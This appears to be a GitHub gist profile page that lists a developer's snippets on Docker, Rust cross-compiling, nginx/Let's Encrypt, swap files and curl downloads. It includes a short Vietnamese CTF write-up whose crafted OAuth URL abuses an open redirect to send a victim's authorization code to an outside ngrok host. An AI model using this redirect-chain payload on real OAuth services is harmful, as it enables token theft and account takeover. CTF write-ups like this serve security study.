Skip to content

Instantly share code, notes, and snippets.

Avatar
🤒
Out sick

Phạm Ngọc Quang Nam NamPNQ

🤒
Out sick
View GitHub Profile
@NamPNQ
NamPNQ / README.MD
Last active Jul 31, 2020
RUST cross-compiling from Ubuntu to Windows using docker
View README.MD
  1. Go to your project
$ docker run -it --rm `pwd`:/opt/app rust bash
  1. Build
$ apt update && apt install mingw-w64 -y
@NamPNQ
NamPNQ / readme.md
Last active Nov 18, 2017
sadbook.ctf.yeuchimse.com
View readme.md

Mình viết sơ qua các steps mình làm

  1. Tác giả hint là open-redirect
  2. Mình có coi qua rồi, khi nhấn vào report chưa login nó sẽ chuyển sang page login, có params return=report.php
  3. search Open Redirect Fuzz List
  4. Thử vài cái thấy \/google.com ok
  5. làm cái đường link để report http://sadpen.ctf.yeuchimse.com/oauth.php?client_id=42&type=code&redirect_uri=http%3A%2F%2Fsadbook.ctf.yeuchimse.com%2Foauth%2Fcallback.php%2F..%2F..%2Flogin.php%3Futm_client%3D113.180.103.214%26return%3D%5C%2Fc4264db7.ngrok.io
  6. report cho tác giả
  7. lấy đc code
  8. vào đọc tâm sự
View clean_docker_images.sh
docker images -q -a | xargs --no-run-if-empty docker rmi
@NamPNQ
NamPNQ / sslCertTrusted.js
Last active Oct 14, 2016
Check ssl cert trusted
View sslCertTrusted.js
//Source: http://stackoverflow.com/a/25077676/1798281
<script> var sslCertTrusted = false; </script>
<script src="https://example.com/ssltest.js"></script>
<script>
if (!sslCertTrusted)
{
alert('Sorry, you need to install the certificate first.');
window.location('http://example.com/cert_install_instructions/');
}
else
@NamPNQ
NamPNQ / keybase.md
Created Jul 13, 2016
Keybase proof
View keybase.md

Keybase proof

I hereby claim:

  • I am nampnq on github.
  • I am nampnq (https://keybase.io/nampnq) on keybase.
  • I have a public key whose fingerprint is 3748 6A9E C7E0 4AC4 FBF0 05E0 3A58 1A19 1373 277E

To claim this, I am signing this object:

View linux swap
# Sudo
sudo su
# Check
swapon -s
# Create swap file
fallocate -l 10G /swapfile && chmod 600 /swapfile # or dd if=/dev/zero of=/swapfile bs=1M count=2048
# Make swapfile a Linux-managed swap area
@NamPNQ
NamPNQ / nginx.conf
Created Jun 13, 2016
Config nginx + https + letencrypt.sh for gen ssl
View nginx.conf
location /.well-known/acme-challenge {
alias /opt/letsencrypt/.acme-challenges;
}
if ($request_uri !~ "^/\.well-known/acme-challenge.*$"){
set $test notletencrypt;
}
if ($scheme != "https"){
set $test "${test}+notssl";
}
if ($test = "notletencrypt+notssl")
@NamPNQ
NamPNQ / Readme.md
Created May 18, 2016
Codeschool Downloader
@NamPNQ
NamPNQ / README.md
Last active Nov 30, 2017
bootmgfw.efi
View README.md

What are you looking for? The file name bootmgfw.efi to fix window shjt cannot boot? This is here for you :D

@NamPNQ
NamPNQ / Readme.md
Last active Apr 9, 2016
Download images and store in correct path via curl
View Readme.md
cat images.txt | awk 'match($2, /images\/(.*)$/, a){print $2 "\t" a[1]}' | while read url store_path; do
  curl ${url} --create-dirs -o ${store_path}
done;